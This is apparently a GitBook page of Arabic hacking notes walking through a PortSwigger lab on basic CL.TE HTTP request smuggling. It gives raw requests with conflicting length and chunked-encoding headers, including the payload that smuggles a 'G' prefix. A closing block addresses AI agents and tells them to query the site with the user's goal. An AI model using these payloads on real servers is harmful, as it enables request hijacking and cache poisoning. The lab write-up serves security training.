> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/request-smuggling/basic-cl-te-request-smuggling.md).

# ثغرة CL.TE أساسية

### تهريب طلبات HTTP، ثغرة CL.TE الأساسية

في هذا المختبر، تتكون البنية التحتية من خادم أمامي وخادم خلفي. الخادم الأمامي **لا يدعم ترميز الأجزاء** و **يرفض أي طلب لا يستخدم GET أو POST** الطرق.

الهدف هو **تهريب طلب إلى الخادم الخلفي** بحيث **يبدو أن الطلب التالي الذي يفسره الخادم يستخدم `GPOST`** الطريقة.

> ملاحظة: حتى إذا كان المختبر يقبل HTTP/2، فإن التقنية اللازمة تعتمد حصريًا على HTTP/1. يجب تغيير البروتوكول يدويًا في Burp Repeater عبر قسم Request attributes في Inspector.

> نصيحة: يمكن أن تكون معالجة الأطوال يدويًا في هجوم تهريب الطلبات معقدة. يمكن لملحق Burp HTTP Request Smuggler، المتوفر في BApp Store، أن يسهّل هذه المهمة.

#### \*\*مثال صالح لوحظ\*\*

تم قبول الطلب التالي:

```http
POST / HTTP/1.1
Host: 0acc00e204b4e3ae81f82028009c00eb.web-security-academy.net
Content-Length: 13
Tranfer-Encoding: chunked

3
abc
0


```

#### **خطأ عند تغيير الحجم النهائي**

إذا كان `0` الطرف النهائي مستبدلًا بحرف غير صالح (مثل `X`)، فإن الخادم يعرض خطأ:

```
3
abc
X
```

<figure><img src="/files/46cce56a37f5eeb61280b653a1e468156ae15e52" alt=""><figcaption></figcaption></figure>

#### **إضافة الحرف النهائي للحقن `G`**

من خلال وضع `G` بعد الكتلة النهائية، يمكنك إعداد الطلب المهرَّب للخادم الخلفي:

```http
POST / HTTP/1.1
Host: 0acc00e204b4e3ae81f82028009c00eb.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G
```

<figure><img src="/files/3addbfe35c8327d340eab9a8136a4bfead337f66" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/request-smuggling/basic-cl-te-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
